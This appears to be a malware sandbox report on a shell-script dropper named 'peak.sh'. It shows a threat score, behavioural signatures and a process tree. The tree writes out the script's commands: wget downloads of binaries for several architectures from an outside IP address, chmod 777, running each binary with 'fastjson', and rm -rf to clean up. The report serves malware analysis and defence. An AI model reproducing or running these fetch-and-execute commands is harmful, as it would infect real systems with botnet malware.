Overview

overview

7

Static

static

1

peak.sh

ubuntu-18.04-amd64

7

peak.sh

debian-9-armhf

7

peak.sh

debian-9-mips

peak.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    31/07/2026, 00:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    peak.sh
  • Size 847B
  • Sample260731-ahxesasyev
  • SHA256 48e421597ab357fae3b48ba01910dcabb5ff07e4b1a0412b861b9a47895c4d59
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Reads network interface configuration 2 TTPs 2 IoCs

    Fetches information about one or more active network interfaces.

    discovery
  • Changes its process name 1 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/peak.sh
    /tmp/peak.sh
    1⤵
    • Executes dropped EXE
    PID:1482
    • /usr/bin/wget
      wget http://94.154.43.164/armv4l -O armv4l
      2⤵
      • Writes file to tmp directory
      PID:1483
    • /bin/chmod
      chmod 777 armv4l
      2⤵
      • File and Directory Permissions Modification
      PID:1491
    • /tmp/armv4l
      ./armv4l fastjson
      2⤵
        PID:1492
      • /bin/rm
        rm -rf armv4l
        2⤵
          PID:1494
        • /usr/bin/wget
          wget http://94.154.43.164/armv5l -O armv5l
          2⤵
          • Writes file to tmp directory
          PID:1495
        • /bin/chmod
          chmod 777 armv5l
          2⤵
          • File and Directory Permissions Modification
          PID:1496
        • /tmp/armv5l
          ./armv5l fastjson
          2⤵
            PID:1497
          • /bin/rm
            rm -rf armv5l
            2⤵
              PID:1499
            • /usr/bin/wget
              wget http://94.154.43.164/armv7l -O armv7l
              2⤵
              • Writes file to tmp directory
              PID:1500
            • /bin/chmod
              chmod 777 armv7l
              2⤵
              • File and Directory Permissions Modification
              PID:1501
            • /tmp/armv7l
              ./armv7l fastjson
              2⤵
                PID:1502
              • /bin/rm
                rm -rf armv7l
                2⤵
                  PID:1504
                • /usr/bin/wget
                  wget http://94.154.43.164/mips -O mips
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1505
                • /bin/chmod
                  chmod 777 mips
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1507
                • /tmp/.mips
                  ./.mips fastjson
                  2⤵
                  • System Network Configuration Discovery
                  PID:1508
                • /bin/rm
                  rm -rf mips
                  2⤵
                  • System Network Configuration Discovery
                  PID:1509
                • /usr/bin/wget
                  wget http://94.154.43.164/mipsel -O mipsel
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1510
                • /bin/chmod
                  chmod 777 mipsel
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1511
                • /tmp/mipsel
                  ./mipsel fastjson
                  2⤵
                  • System Network Configuration Discovery
                  PID:1512
                • /bin/rm
                  rm -rf mipsel
                  2⤵
                  • System Network Configuration Discovery
                  PID:1514
                • /usr/bin/wget
                  wget http://94.154.43.164/i686 -O i686
                  2⤵
                  • Writes file to tmp directory
                  PID:1515
                • /bin/chmod
                  chmod 777 i686
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1516
                • /tmp/i686
                  ./i686 fastjson
                  2⤵
                  • Renames itself
                  • Reads MAC address of network interface
                  • Reads network interface configuration
                  • Changes its process name
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:1517
                • /bin/rm
                  rm -rf i686
                  2⤵
                    PID:1519

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      armv4l
                      • Path /tmp/armv4l
                      • Size 93KB
                      • SHA256 ef42e6fd238baa990731f2ab20d130c489c1689588c5842713f28b4e90724019
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      armv5l
                      • Path /tmp/armv5l
                      • Size 93KB
                      • SHA256 150609a660a659b9be9fc7c6b7846c0a94eb81cdd7a0ce848855a78be8239267
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      armv7l
                      • Path /tmp/armv7l
                      • Size 115KB
                      • SHA256 a81f233036fc9ef73c2284fd74d1e08ce74d9dd87e858a17d0bed45d23d26b3b
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      i686
                      • Path /tmp/i686
                      • Size 86KB
                      • SHA256 b754fed0b006adb9323a64a198ba2a968aa43712f506ecce0730d23da5765fe6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      mips
                      • Path /tmp/mips
                      • Size 123KB
                      • SHA256 980a7bfa9dd517f3b934f61e23d9e277bf222ce9b1cb055eecd1c7f87b35d7fc
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      mipsel
                      • Path /tmp/mipsel
                      • Size 127KB
                      • SHA256 226d5f0493530a890fe642db959232b63ba8b7be48ea94a65cc68f8437b10ae5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download